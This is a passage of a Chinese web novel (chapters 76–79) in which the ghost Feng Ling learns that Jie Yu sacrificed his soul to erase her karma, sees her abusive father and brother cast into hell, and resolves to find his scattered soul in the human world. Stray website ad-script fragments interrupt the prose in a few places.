就像她的身边没有解玉这个人一般…… 一日日地等待,一日日地苦熬。 到今日终是再忍耐不住。 翻身下了榻,封灵一步步走到当日所量的符纹边界,脚步只短暂地停顿了一下,便不管不顾地撞了上去——却没有任何被阻碍的凝滞感。等跨出房门的时候,更是如闲庭信步般轻而易举,根本没有费封灵丝毫的气力。 连她消失已久的鬼力,也在离开里屋的那瞬间重新充盈全身。这困住她不知道多少日的符纹,就这样无声无息地消失了? 封灵心中的不安愈加明显。 “……灵姑娘,恭喜你痊愈。” 乌贺不知何时出现在了拐角的地方,看着奔出来的清减许多的白色身影,拱手道出一声轻贺,眉间神色却有些莫名难辨。 “乌贺,酆都大帝呢?” 封灵一下子停了下来,“他不是说自己还会再来的吗?我已经想好了,你让他立刻过来见我!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>解玉的突然消失一定跟他脱不了干系。 “……冥主他不会再来了。” 乌贺迎上封灵暗含躁意的双眼,语气既缓且沉。 “你这话什么意思?” 封灵的语气愈发凶狠,“他说过要等我答复的……堂堂地府之主,先是下作无耻到拿凡人行威胁之举,如今还要再背信毁诺,对解玉下手了不成! “解玉呢?解玉在哪里!” 可再凶狠的语气,也掩盖不住封灵更深一层的慌乱。 “封灵儿,解道长他、他已经不在了……” 孟婆也出现在封灵的身边,动作轻柔地拉过后者的腕肘,又抚上手背以示安慰,颇有些不忍地开口。 封灵愣了一下,旋即挥开孟婆的手,“你不用说这些含混不清的话,我知道解玉不会每日都留在城隍庙。我只问你们,他去了哪里!” “封灵儿,解玉他、他把自己的生魂抵给了冥主,以换你的恶业全部消弥……冥主已经答应了。” 孟婆不知该如何面对封灵,只好别过眼睛躲避,“解玉今日应诺,冥主便也信守约定,抹去了你全部的恶业。封灵儿,你现在不再是恶鬼了,你也不用被困在这里了。” “……你又想骗我?” 封灵下意识反驳。 卑劣如酆都大帝,怎么可能允一个凡人的请求,就这样放弃即将到手的好处……还有解玉,他从来都是贪财怕死的,怎么可以为了她甘心舍出一条命去——他明明答应了的,他明明说好第二日就会回来的。 “我知道了,是酆都大帝让你们故意这样说的吧,就是想逼我回地府,好让我重新受他的驭使,生生世世,心甘情愿!” 封灵的声调有些不稳,萦缠在身上的鬼气隐隐开始翻滚起来,“好啊,你们一次又一次地骗我,就不怕今日放了我,再被我打进酆都城跟你们同归于尽吗!” 嘴里说着不信的话,眼眶却克制不住地泛红,却固执地没有落下一滴眼泪。 孟婆叹了口气,凭空化出一轮水镜,又将其悬停在封灵的面前,“……封灵儿,你先看看自己如今的样子。” 封灵只扫了一眼,便怔愣般停在原地。 她的一双眼睛褪去了猩红的血色,此刻重又变回了与常人无异的漆黑,额间的红痕也消失了。抬手抚上两颊,封灵闭上眼睛,几瞬之后又睁开,水镜里的那张脸却依旧如故。 可她明明已经现出了自己的真身。 不再是无眼无舌的可怖模样,身上也再不见任何的血腥伤口,若不是依旧没有呼吸,她只怕都要以为自己就是个活人了。 “怎么会……” 封灵的指尖抖得厉害。 “封灵儿,你如今恶业尽消,自然也不再是残缺不全的魂魄……你,可以去投胎了。” 孟婆顿了一下,还是补上了后半截话。 投胎? 她可以去投胎了? 封灵有些迟钝地想着。 可为什么,她一点也不觉得高兴……这明明是她惦念了千年的事情,如今在她心里却连半分波澜也掀不起来。她,她不想去投胎! “……我不去投胎!” 76. 怨恨终消 “我不去投胎。” 封灵又重复了一次。 “……灵姑娘,这是解玉好不容易才同冥主换来的机会,你不去投胎,难道真要回地府做回鬼师娘娘吗?” 若可以,乌贺当然希望封灵能够回来,可想起解玉当日说过的话,还是叹着气上前劝说起来。 封灵却没有理会,只胡乱地在脸上抹了两把,强逼着自己从知道解玉死讯的无措中冷静下来。她沉默着停顿了许久,才找回自己近乎丢失的声音,“孟婆,酆都大帝在地府吗?我要见他一面。” “封灵儿,你当真不愿意投胎吗?” 孟婆问道。 “不愿意。” “……那,回地府去做鬼师娘娘呢?” 孟婆又问道。 封灵还是摇头,“地府职官里根本就没有什么鬼师娘娘,它不过是酆都大帝为驭使我而编造的一个假身份罢了。从前是记忆有失,也是心中有图,所以才愿意在鬼师的位子上待一千年……如今,我没有回去的理由了。” 解玉,也不在了。 “……怪不得冥主会说那样的话。” 孟婆沉默良久,终是一声长叹,“你跟解道长,你们两个,真是……唉!” 封灵敏锐地从这句话里察觉到了什么,一双眸子看向孟婆欲言又止。后者从腰间取下一枚木牌,又摊开封灵的手掌,将其置于掌心,“来之前,冥主跟我说过,你要是一个都不选,就拿着这木牌去地府找他。他这会儿应该还在察查司,再迟些,怕就要去第五殿了。” 察查司和第五殿? 一个处置害人致死的恶徒,一个司管因冤屈死的枉行,酆都大帝怎么有闲心去那里? 封灵来不及细思,只用力握紧木牌,眼睛从孟婆的身上一路扫到乌贺的脸上,“好,我这就去找他……解玉他真的,不在了吗?” 舌头像是被千钧的重石压住了一般,一个死字在喉间滚了又滚,却始终说不出口。 “……是。” 封灵痛苦地拧紧了眉,一双眼睛合上又睁开,眼底再不见任何的哀色,“知道了,我先去见酆都大帝。” 说罢,转身离开。 …… 「地府,察查司」 仰头看着匾额上斗大的几个刻字,封灵的心中颇有些五味杂陈——她都快忘记自己上次来是什么时候了。不时有出入办事的鬼差停下见礼,态度更是一如往昔,就像百望山的事情从来没有发生过一般。 几步上阶,又毫不停留地穿过前殿和拐角长廊,只是绕了整整一圈,却始终没有找到孟婆口中的酆都大帝。 “……鬼师娘娘?” 封灵闻声回头,但见陆之道从拐角的地方出现,又缓步停在自己的面前。 “果然是您,”陆之道一下子笑开了,“您换了身其他颜色的衣裳,晃眼一看还以为是我认错了呢!” “陆判官。” 封灵退后两步,在陆之道与她之间划出一道壁垒分明的界限,微抬了手算是见礼,口中只道:“我早不是什么鬼师娘娘了,陆判官不该再这样称呼我。” 陆之道只当没看见封灵刻意的疏远,态度仍是如旧,“酆都城上下并未接到鬼师娘娘易主的命令,冥主也从未说过要撤去鬼师一职,您依旧是地府的鬼师,在下并没有错了称呼。” 这算什么…… 安抚? 封灵在心底嗤笑一声,不欲再与陆之道论说此事,只问起酆都大帝的行踪,“我有事找酆都大帝,听孟婆说他在察查司,我找了一圈却没有找见……可是已经离开了?” “您迟来了一步,冥主这会儿应该已经到第五殿了,”像是专程等在这里替封灵解惑一般,陆之道答得极快,“不过么……现下过去也不算晚,还是能见上面的。鬼师娘娘,我陪您一起过去吧?” 封灵不明所以地瞥他一眼,“我知道第五殿在哪里,自己过去就行了,不敢劳烦陆判官。” 语气依旧冷淡,却也没有在面对谢必安他们时那般的抗拒。唯一奇怪的,便是陆之道口中的那句能见上面……他究竟想说什么? “无妨,我也有事情要找五老爷,正好一并就过去了。” 陆之道面不改色。 “……随你。” 封灵懒得再说,转身便出了察查司,唯恐自己慢上一步,便再找不见酆都大帝的行踪。 …… 这一次,封灵总算没有扑空。 酆都大帝确实在第五殿,只是跟阎魔王一起去了诛心小地狱。 “……让我好找哪,酆都大帝。” 看着跟阎魔王一起挤在小地狱边缘的酆都大帝,封灵冷笑着发出一声轻讽。 酆都大帝没有回头,倒是阎魔王听见声音后走了过来,又不顾封灵的抗拒将她拖回了刚才停留的地方,“女娃娃,快过来,有好东西给你看呢!” 封灵试图挣扎,却无奈本事还是比不过一殿的阎王。再这样继续僵持下去,丢脸的也只会是她自己……想明白这一点的封灵,干脆利落地卸了力道,又顺着朝阎魔王指去的地方投去一瞥,而后怔愣在原地—— 诛心小地狱的入口,两个分外眼熟的身影正在数名鬼差的推搡下不住地哀嚎惨叫,浑身上下被滚落的岩浆烫得几乎没有一块好皮。 是她的“好”父亲,还有“好”弟弟。 “……这就是你说的好东西?” 封灵面上还算镇定,语调却有些不稳。 “这难道还不够好吗?” 阎魔王盯着封灵的脸,奇怪于她过于平静的反应,“这对父子才从察查司判了罪,要在诛心小地狱受八百年折磨,之后投入畜牲道,历十世被人宰杀之苦,方有机会转世为人……也算是恶有恶报。” 封灵移开视线,转而看向酆都大帝,“你不是向他们承诺过,说绝不会因驭鬼术一事使他们遭难……如今这又算什么?” “我与他们的因果已结,”酆都大帝两手一摊,“他们所判之罪,自是与此事无关。” “女娃娃,你在地府这么多年,别说还没记下不同阎王殿里的小地狱司管的罪行?” 阎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 魔王捋着胡子,又盯了封灵几眼,这才猜测道。 封灵难得没有反驳,只别过眼睛重又盯着封家父子。地府有十座阎王殿,拢共分管一百三十八处小地狱,她从前只负责抓鬼,一开始连自己该去哪座阎王殿也不知道,又哪里会特意记下这些恶鬼的去处…… “你这女娃娃,还真是……” 阎魔王显得有些嫌弃,“老夫来告诉你,第五殿的诛心小地狱,司管不敬鬼神、猜疑因果报应之罪,司管割害性命之罪,司管忘恩报怨之罪,还司管狠毒教唆、嫉善妒贤之罪……桩桩件件,都是他们自己生前的罪过,冥主可没有诱引他们犯事。” 封灵听出了阎魔王的言外之意,无非是说她才是这一切罪过的起始,根本与酆都大帝无关,更与地府无关。 “你们都把他们押到地狱了,还让孟婆故意引我来这里做甚?想让我继续当苦主,好让他们多添几则罪名、多受几年折磨吗?” 封灵反唇相讥。 “非也,这可是解玉道长的恳求哪!” 酆都大帝感叹道。 “什么……” 封灵眼中犹疑不改,却在听见解玉的名字时生出一瞬间的动摇。 阎魔王则往封灵的后背上轻轻一拍,“女娃娃,去吧!去把他们打下地狱,去亲自了结自己的仇恨……这就是那小子最后的恳求。” 封灵踉跄两步又停下,没有回头,身体却开始不受控制地战栗起来——并非害怕,而是激动。 原来,她始终不曾放下。 身体浮于半空,只轻轻一跃,封灵便落在了一众鬼差之前。 “……灵儿?” “灵儿!快来救救你爹爹我啊!” “姐姐,好姐姐,我身上好疼哪,你帮我一次好不好,再帮我一次!” 分明还隔了几步的距离,封家父子却已经看清了来人是谁。挣扎着伸出手臂求救,可身体却被一圈又一圈的锁链坠得无法动弹,最后只能发出连绵不绝的痛苦哀嚎,以期能换来封灵的几分怜悯。 “这样便疼得受不住了吗?” 封灵歪着头,好似不解般问道:“我那时候也很疼,也不见你们停下……你们又何曾记得有过我这个女儿和姐姐呢?” 封珏的脸因剧烈的疼痛而极度扭曲,却仍旧扯出一抹讨好的笑,“好姐姐,过去都是我们的错,你帮帮我们,再帮帮我们……啊!什么东西,好疼哪!” 又开始嚎叫起来。 可封灵,却再不愿意在他们身上浪费更多的情绪了。像是要将他们的模样彻底刻进脑海里一般,封灵沉默着注视了许久,才终于长长吐出一口浊气,从在旁等候的鬼差手里接过棒杵,将两人彻底打下了地狱。 哀嚎声在这一刻戛然而止。 封灵握着棒杵的手微微有些颤抖,还有些反应不过来。一张脸上似哭似笑,掺杂了仇怨得报的解脱与释然,极度的兴奋与极度的悲怆交织在一起,表情竟显得有些扭曲。 她的怨恨,她的不甘,还有困缚她千年的噩梦,终于在这一刻彻底消弥。 77. 尽路闻生 “鬼师娘娘,您只管放心,兄弟们私底下都商量好了,每日排班来这诛心小地狱,绝不会让这两个家伙得一日松快,一定好生给您出这口恶气!” 封灵的视线还停留在岩浆内不住翻滚的那两个身影上,耳边突然传来这样一番话,当即诧异回头,正看见谢必安身边的郑姓鬼差朝自己颔首示意。 周围的鬼差有样学样,亦七嘴八舌地替封灵痛骂起封家父子的诸般恶行来,态度熟稔且自然,就像是不记得前者曾经在百望山做过的事情一般。 封灵的表情却有些不自然。 那日她被怨恨裹挟,做了许多不理智的事情,后来又因伤重昏了过去,更不知道其后的发展,也是到养伤时从乌贺嘴里听说好几个鬼差曾给她留过鬼气的事情——正是这会儿帮着她骂人的几个。 面对酆都大帝他们,封灵尚能冷着脸反嘲讥讽,可面对这些实际并不知情的,她是真不知道该说什么,又该以什么样的态度去回应。 思来想去无果,封灵干脆转过身离开。不过两步路的工夫,便看到不远处的酆都大帝和阎魔王投以看好戏般的注视,这才反应过来打鬼的棒杵还被自己握在手里。 封灵不快地眯起了眼睛,恼恨的目光在二者的头顶打了个圈儿,而后蓦地停住脚步,反手将棒杵扔了回去。 重又回身,封灵盯着其中明显领头的郑鬼差,语气不免有些差,“……你不去自家无常的身边鞍前马后,跑来第五殿凑什么热闹?” “从谢爷那里听说了您的事情,兄弟们实在是气愤不过,知道今日要将这两个混蛋玩意儿投下地狱,又说您也会来第五殿亲观,咱们便特意跑过来等着了!” 郑鬼差咧着嘴角,说话倒是坦诚。 封灵眼皮一跳,突然就明白了回来后遇见的每一个鬼差都对她态度如旧的原因。 她当然不认为谢必安的嘴里能说出什么好话,大抵又是像之前那样,添油加醋般掺了不知道多少虚假难辨的东西进去,否则这群鬼差怎么都对她摆出一脸沉痛的表情。 从前她打完架拖着断了半截的胳膊回来时,这些家伙也只会高喊一句鬼师娘娘威武,谁敢用这种眼神瞧她……说起来,像谢必安这种精明趋利的家伙,身边跟着的亲卫怎么都是这些憨傻货。 “……假惺惺。” 封灵拧眉轻啐了一句,再抬眼时又变回了疏离模样,“我来了,你们等到了,这两个人也都打下地狱了,可以走了。” 说罢,也懒理这群鬼差是何反应,抬脚便要离开,几度迟疑,还是朝郑鬼差道:“谢必安的嘴里就没有过真话,你们跟在他身边,别什么东西都信,哪日把你们卖了都不知道。” “您说的是,兄弟们都记下了!” 郑鬼差笑得更加开怀,也不为封灵疑似嫌怪自家上峰的话而生气,反倒一迭声地附和起来。 一看就是没听进去。 封灵扯了下嘴角,默默在心底将自己唾骂了一番。来之前便打定了主意要远离地府,如今她这又是操的哪门子的心…… “鬼师娘娘,您的伤都养好了么……兄弟们可都盼着您早日回来呢!” 另一名鬼差高声道。 “……不了,我如今这样也挺好的。” 封灵淡淡道。 那鬼差面露惑色,本还想再问两句,却被稍微知道些内情的郑鬼差给挡了回去。 “那咱们便不打扰您了,鬼师娘……灵姑娘。” 郑鬼差顿了一下,干脆利落地换了称呼。 封灵被这熟悉的三个字唤得抬了头,诧异地看了眼前的鬼差一眼,还是既轻且缓地点了点头。 “那咱们便先走了……灵姑娘,您如今这副黑眸白衣的模样,也是好看的。” 郑鬼差最后打趣了一句,便唯恐封灵会生气一般,动作迅速地领着其他鬼差从诛心小地狱的入口消失。 “……你们这样,谢必安也是这样,打量着将我从头到脚都利用干净了,这才想起被自己不知扔在哪处的愧疚和怜悯,又开始假惺惺地当起好人来给我圆场了。” 重新站在酆都大帝和阎魔王的身前,封灵又恢复了在他们面前才会有的冷嘲热讽。 “之前将我囚在城隍庙不说,还拿解玉的来生威胁我。如今他死得干净,我也不再是恶鬼了,你们却还是没能从我这里看到想要的感激姿态,便又想拿这群鬼差做文章了……可我又怎会因为这区区的几句话再回地府!” 封灵冷笑连连,“二位怕是也忘了,我当日在百望山时虽算不得清醒,却也是知道自己干了些什么的。你们将这些只知其一的鬼差推到我的面前,就不怕他们再被我杀上一次吗!” “女娃娃,你何曾杀过一名鬼差?” 阎魔王摇头叹息,“那日后回到地府,我特意清点过鬼差的数量,去过百望山的一个都没少。而他们身上的伤口虽然严重,却也没有到毁其根基的程度……封灵,你也就是嘴上凶狠罢了,内里却是个再心软不过的。” “笑话!” 封灵厉声喝道:“我生前便能对自己的父亲和弟弟下手,死后更不知道将多少鬼祟扼在了自己手里。阎魔王,我这样一只恶鬼,竟也有被你说心软的一天……当真好笑!” 阎魔王重又捋起胡子,丝毫不为封灵的话动怒,“你若是个硬心肠的,又怎么会因为解玉那小子的安危选择倒逼自己?嗬,老夫差一点忘了,你跟他之间有情,当然是不一样的。” “闭嘴!我跟他之间的事情,用不着你们这两个刽子手来论断!” 封灵又是一声打断。 阎魔王的眼底却蓦地掠过一丝宽慰,“如此避而不答……女娃娃,你若不是心肠软,那便是相处久了,真跟他生出感情了?” 封灵气极反笑,一双手掩在袖下,十指缓缓屈合成爪,“好啊,我今日就让你们看看,我到底是真的凶狠,还是装腔作势……” 下一刻,便朝阎魔王动起手来。 “女娃娃,何必做这些无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谓的事情。你的本事虽高,但还是及不上十殿阎王,自然也及不上冥主。” 阎魔王游刃有余。 “五老爷有工夫在这里与我说嘴,倒不如使些劲早些将我拿下,否则真被我这个本事不如你的恶鬼给伤了,传出去哪还有面子?” 封灵攻势更重。 说话间,两“人”已过了数十招。 封灵几次想掐上阎魔王的脖颈,却都被前者早有预料般挡了下来,最后被迫变成堪堪擦过。时间一长,封灵重伤初愈的身体也有些扛不住了,原本凌厉的招式也开始迟缓起来。 “女娃娃,停手吧……你这是干什么!” 阎魔王收了两分力道,本想等封灵力竭后再做劝说,却见前者退后两步稳住身形,趁势又一次攻了过来。阎魔王嗬了一声,仓促间抬手格挡,却被劲风吹起的衣袖迷了眼睛。几瞬后视线恢复清明,才陡然惊觉封灵是虚晃一枪,她的真正目的竟是酆都大帝! 却不是要对酆都大帝下手。 封灵咬紧牙关,手腕一翻便朝站在一旁看戏的酆都大帝攻去,目标却不是任何要害部位,而是前者挂在腰间的一枚玉牌——能够出入酆都城任何地方、查阅任何东西的玉牌,甚至能穿过第十殿外面的幽冥沃,将已经投胎的鬼魂拉回去。 还有孽镜台,那东西虽是拿来照人生前罪恶的,可若有了冥主玉牌,便能够寻到所有沾了阴司鬼气的生人。 酆都大帝拿着一个普通凡人的魂魄也没有用处,叫其直接魂飞魄散更是毫无意义。如此一一排算下来,解玉能去的地方便屈指可数了…… 她想拿到酆都大帝的玉牌,这样就可以从生死簿上窥到解玉的踪迹。若生死簿上没有解玉的名字,那她便去孽镜台,去找解玉有没有被关在哪个小地狱里受苦,若再没有,便去幽冥沃,去轮回台把解玉的魂魄抢回来。 总之,要她就这样接受解玉的死讯,绝不可能! 指尖堪堪触到玉牌的瞬间,酆都大帝的身形化为一抹虚影消失,但为时已晚。封灵还是在那之前攥住了尾端的穗子,狠狠一用力扯了下来。 还没来得及露出喜悦的神色,封灵只觉手腕一痛,那玉牌便被反应过来的阎魔王挥掌打落,哐当一声跌落在地。 “你原是打着这个目的,怪不得下来以后甚少提到解玉的名字,又对我们提到他反感过甚……女娃娃,你是不是早就想好要用玉牌去找解玉了,便是不成,或者被很快发现,也可以干脆随在解玉之后受死,也算是跟他在另一处团聚?真不愧是你啊,鬼师娘娘!” 阎魔王摇着头,语气颇为感慨。 眼看酆都大帝重新将玉牌挂回腰间,心知再无机会的封灵索性放弃了挣扎,只遗憾地将视线从那枚玉牌上收回,口中道:“你们既猜得这样清楚,便就此将我的魂魄彻底打碎,成全你们自己,也成全了我,如何?” “你若魂飞魄散,剩解道长一个孤苦无依的又该怎么办哪?” 酆都大帝突然道。 78. 蕴他生魂 此言一出,封灵立刻愣在了原地。 “……你的意思是,解玉还活着?生魂作抵一说,又是你们骗人的把戏吗!” 封灵的脸色一下子冷了下来,眼中惊疑与恼怒交织,“你们怎能拿他的性命开玩笑!” 阎魔王走到酆都大帝的身边,先是左右环顾了一圈,看着因刚才的骚乱而投来的许多若有若无的注视,毫不掩饰音量地冷哼一声。将一众试图围观热闹的小鬼撵走,阎魔王搭住封灵的肩膀,而后大袖一挥,三道影子立刻消失在诛心小地狱。 封灵根本来不及反应,只觉眼前一花,便再度回到了空旷的第五殿。 “解玉当然已经死了,否则,你身上的这许多变化又是从何而来?” 阎魔王放下手,慢吞吞地退后两步,指着封灵的眼睛解释道,“你之前的模样虽是依冥主的意思改的,但也是因为你自身所带怨气太深太烈,生前留下的血伤更是凝痕不散,这才成了地府里众鬼熟悉的红衣红眼的模样。” “你自己心里也该明白的,为什么你的鬼神到处是伤,又为何你那日想起一切后,连生前受过的伤也要再受一次,就是因为你心中的那口气不消……解玉说愿用他的生魂换你恶业消弥,可你一身的恶业皆不是因他而起,又该如何消弥呢?” “……便只有他替你担下所有恶业,你自然便解脱了。” 酆都大帝缓缓接上最后一句话。 封灵的眸色闪烁不明,眼底更是盛着几分摇摇欲坠,却还是挣扎着不肯相信,“有人担下便能除去恶业,我在地府呆了一千年,这法子我怎么不知道?若我知道,一早便抓了人除掉恶业投胎去了,又怎会被你们骗这么久!” “更何况,就解玉这样的凡人根骨,只怕连我身上千分之一的恶业也受不住……什么让他来替我承担恶业,根本就是你们另一轮的诓骗之词!” 封灵不管不顾地说了一大堆话,只恨不得能堵上酆都大帝和阎魔王的嘴,这样便可以继续欺骗自己,告诉自己解玉其实安然无恙,只是被藏在了她不知道的某处地方。 “是啊,连小鬼们都受不住的恶业,解玉一个寻常生魂又哪里经受得住?” 酆都大帝摩挲着下颌,颇为感慨,“这世上哪有那么多不怕死的人,又能出几个为爱舍命的好情郎?封灵,你生前的眼光一般,死后倒难得没有看走眼,还真找到个愿意为你豁出命去的男人……如此岂不正好,终归是你得了好处,以后自在潇洒过日,人间地府任去,也不必再受我等拘束,你又何必再管一个几十年寿数的凡人生死。” 看着封灵立时变得凶狠的目光,酆都大帝无所谓地耸了耸肩,却也顺着封灵的意思重新将话头绕了回来,“你的解道长,自愿担了你所有的恶业,下场么……也跟魂飞魄散没什么区别了。” 闻言,封灵的脸色骤白,更似不堪承受般闭上了眼,罕见地露出几分脆弱。只是这样的表情也只是短暂地浮于面上几瞬,便又被封灵强行按捺了下去。 “你不必跟我说这些,我也不想听……我只问你,刚才在诛心小地狱说的那些话,究竟是什么意思,解玉他、是否还有其他生机!” 她究竟在怕什么? 反正,再也没有比现在更坏的结果了。 想到这里,封灵反倒冷静下来,也总算可以拎着酆都大帝此前的话细问究竟。 “有,也没有。” 封灵闻言拧紧了眉,“你就不能一次把话说得干脆些吗?是想让我毫无根据地乱猜,还是又想从我这里拿走什么承诺?” “封灵,你曾叫我刮目相看一场,如今勉强又多了个解玉,原来真有人能为了情之一字做到这份上的……倒是我一开始没有算到的。” 酆都大帝短促地笑了一声,“解玉的三魂七魄都碎了,七零八落地散在人间各地。我不知道他还能不能重获生机,但至少不算是彻底死绝。” “……我只要能找回他的三魂七魄,你就能让他回来?” 封灵显得有些谨慎。 “不能。” 酆都大帝利落地摇头,“他与我的这一场交易,不过是缘自与你牵扯后的那场因果。生魂散恶业消,你们的因果了结,人鬼之间便该再无瓜葛……至于今日这局面,不在于我,只是天道不忍,给他,也给你留了一丝生机,这才未使他魂魄消绝罢了。” “那我该怎么办,解玉才能回来……” 封灵怔怔道。 “这个么……找到他是其一,蕴养他的魂魄是其二,”酆都大帝不紧不慢地开口,“就跟你要在鬼气充裕的地方养伤是一个道理,要想解玉再回来,便只能寄望于灵气未散的人间,等他一点点养好生魂,再到三魂七魄合于一体的那日,你才有机会与他重逢。” “……如何养?” 封灵问道。 “自然是投胎转世,由生到死,以凡人的身份慢慢养了。” 酆都大帝瞥了若有所思的封灵一眼,无视阎魔王一下子变得嫌怪的眼神,忽而道:“你自己势单力薄的,要想在人间找到解玉不知会何等艰难……回来地府罢,鬼差、无常,甚至是十殿阎王,都可以去帮你找他,这难道不比你一个快的多?再者,就算你本事通天,靠自己把解玉找回来了,也得从咱们这里送人去投胎不是,又何必舍近求远呢?” 这是还想让封灵点头呢。 “女娃娃,冥主他……” 阎魔王开口想要解释些什么,却在听到封灵难得不带讽刺情绪的话后停了下来—— “你们已经放弃让我回地府了,不是吗?” 酆都大帝一挑眉,“何以见得?” “你们知道我放不下解玉,若还存着让我回地府效命的念头,便该先迫我点头,再告诉我如何找回解玉,但你们刚才却恰恰相反……如此行为,也是因为他吗?” 解玉这家伙,究竟在背地里替她考虑了多少的事情…… 封灵的心中有些酸涩。 “他想让你自己选。” 酆都大帝颇为遗憾地看着封灵,“不管是回地府,还是去投胎……只可惜,他希望的你一个都没选,今后也不知道要为了他在人间磋磨多少年。” “……这男女之情究竟有什么好的,能让你们一个两个的都不要命了,眼巴巴地盼着对方比自己过得更好,真是奇怪。” 酆都大帝摸着下巴,委实不理解。 “……不要以为我现在能在这里跟你们心平气和地说话,就是接受你们当初对我做过的事情了。” 封灵最听不得旁人议论她与解玉之间的关系,闻言不快地眯着眼睛,“就事论事,我感激你们给我指了条法子。可同样地,若不是你们种的因,我也好,解玉也罢,如何会走到今日这步……有些话,往后还是不要再说了,否则我们之间,便连面上的平和也不会有了。” 在人间娶妻生子,甚至将后代留在地府 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当差的阎魔王克制着想对上峰翻白眼的冲动,越过酆都大帝走到封灵身前,又道:“女娃娃,你可想好了,他这一死,算是与你了却因果,可若你再去找他,便又是新的因果了……” 封灵听着,却堪称愉悦地笑出了声,“若能如此,便是再好不过……我谁也不去祸害,就守着他一个,只想想就觉得有意思。” “真不再考虑一下了?要不……还是再想想罢,也省得你来日后悔。” 酆都大帝冷不丁地来了一句。 封灵不为所动,“他当初决定救我时,不曾后悔,为我舍去生魂时,也不曾后悔。我如此在人间等他找他,当然也不会后悔。” “好!” 阎魔王抚掌大笑,“老夫也不是那等冷血无情的家伙,素日在酆都城时也会替你看着一二的。若解玉的魂魄自己飘到了地府,又或是被不知内情的阴兵鬼差们带了回来,我都会想办法知会你一声的。” 封灵敛目谢过。 她并不怀疑阎魔王的这番话。事实上,阎魔王并没有参与进千年前的那场算计之中,至少在她死之前,从没有在扮作货商的酆都大帝身边看到阎魔王的影子。 而他之后的一番反应,也足以证明自己是后来被知会的那一方,以致他一直不知道改换了模样的封灵就是千年前的封氏女。 更何况,这当中还有个纪苏文呢…… 那日一别,她被囚在了北地城隍庙,纪苏文则被押回了地府,虽有阎魔王一句保言,却也不知道他现今情况如何…… 思及此,封灵因解玉而起的笑意也淡了不少。本想一并问了纪苏文近况,可到底顾忌着酆都大帝在场,最后还是什么都没说,心里却已想好要另找个机会去问阎魔王了。 “解玉的事情,多谢了……地府也不该是我能再来的地方,就此别过。” 封灵本想直接离开,却又做不到对着才给了自己指出一条明路的酆都大帝和阎魔王冷下脸,最后还是勉强拱手道了个别。 “等等。” 酆都大帝阻了一句。 封灵却只当没听到,脚下更是没有半点停留,而后便被定在了原地。 “你——” 无视封灵恼怒的目光,酆都大帝抬手在前者的额前轻点了两下,“虽不是恶鬼了,可到底还是一只千年女鬼……这样就行了,也免得你被哪个面生的当做游魂野鬼抓回来,还得来找我们解围。” 话音刚落,封灵便发现自己又能动了,立刻嫌弃般撇开酆都大帝的手。又一次非己所愿地欠了恩情,封灵的表情称不上愉快。 狠狠擦着被酆都大帝触碰过的额头,封灵显得有些躁烦,“连谢必安在我这里都讨不了便宜,除非是你们几个闲着没事干了,故意去人间找我麻烦……” “给你省些打架解释的时间,难道不好?” 酆都大帝重新将手拢回袖子底下,笑呵呵地反问道。 这话说的叫封灵没办法反驳,最后只能狠狠一甩袖子,带着满腔的憋闷,大步流星地走了出去。 “冥主,我去送她一程。” 阎魔王啧了一声,便紧随封灵而去。 酆都大帝摆了摆手,挂着无所谓的表情目送着阎魔王离开,须臾哼笑一声,“芝麻大点的小事,也至于背着我去说……” 而后闲庭信步般朝殿外走去,嘴里却自顾自地嘟囔着什么。 “情这东西,还真是有意思……” 79. 余人各况 “女娃娃,慢些走……哎哟,封灵!” 阎魔王紧赶慢赶地追出来,只看到封灵一路疾行的背影,像是被谁在后头急急追赶般不做丝毫停留。 阎魔王一连喊了几声,也不见前方的身影回头,无奈停下喘了口气,改以掐诀骤现在封灵的面前。 “……阎魔王?” 封灵蓦地停下脚步,“刚才,是你在后面喊我?” 她并非对身后的声音全然没有察觉,只是千年来发生的这许多事情,让她如今一心想要和地府划清关系,所以听到了也当没听到,自然也不会去辨别说话者究竟是谁。 “看来你的伤是彻底养好了,连老夫都险些没追上来。” 阎魔王一手叉腰,一手抬高指着封灵的鼻尖,神情颇为无奈。 “我着急回人间,哪里能想到你老人家会跟在后面。” 封灵轻扯了下嘴角,语气颇为平和。只要远离酆都大帝,她面对阎魔王时的态度也会好上不少,“可是刚才还有事情交代漏了?亦或是解玉的情况有变故?” 阎魔王摆着手,“不是我有事情交代你,女娃娃,是你有没有事情要问我。” 封灵愣了一下,旋即反应过来,阎魔王这是看出她想避开酆都大帝的心思,特意追出来替她解惑的。 封灵抿着嘴,真心实意地朝阎魔王深深一俯首,“因我之故,连累纪鬼差被日游神发现踪迹,在大庭广众之下被带回了地府……不知他现在可还算好?” “难为你还记着他,也不枉他一直念挂着你的安危,”阎魔王抬手止住封灵的动作,面上颇为感慨,“比起你么……他可好上太多了。” 封灵抬眼看向阎魔王。 “老夫这身阎王爷的袍子可还没被扒下来呢,”阎魔王捋着胡子,显出几分自得,“要保那混蛋小子一个无恙,还是有办法的!” “放心罢,他只在最开始的几日吃了些苦头,其他的一切都好……就是受罚被贬出了地府,如今已不是鬼差了,留在人间成了一名阴兵,就跟在乌贺的身边值守巡查呢!” 阎魔王与乌贺自来相熟,纪苏文被罚在他的身边,难说其中没有阎魔王的手笔。保不齐再过个几百年,纪苏文便又回去当鬼差了。 “那、秋茹姑娘她……” 纪苏文如今光明正大地停留人间,莫县又在北地的辖御范围内,那是不是意味着他终于可以时刻守在蔺秋茹的身边了…… “也好着呢!” 阎魔王呵了一声,“算他有先见之明,一早便将秋茹给藏起来了,当日的动静又都在你的身上,是以未有鬼差注意到秋茹这只小小的情煞鬼……如今虽还是不记事,却还是能像之前那般受些功业,说不定哪日就能重入轮回了。” 听见纪苏文和蔺秋茹两个一切妥当,封灵便也彻底安下心来,想了想再无其他要紧事要问,便干脆沉默下来,只等着阎魔王开口。 “我跟那小子说了,他也会帮你留意解玉的踪迹的……还有孟婆,她终日都在奈何桥头坐着,若解玉的魂魄真在我们不知道的时候飘来了地府,她也是能立刻看到的,不至于叫鬼差送进了轮回都无所知。” 阎魔王顿了顿,又道。 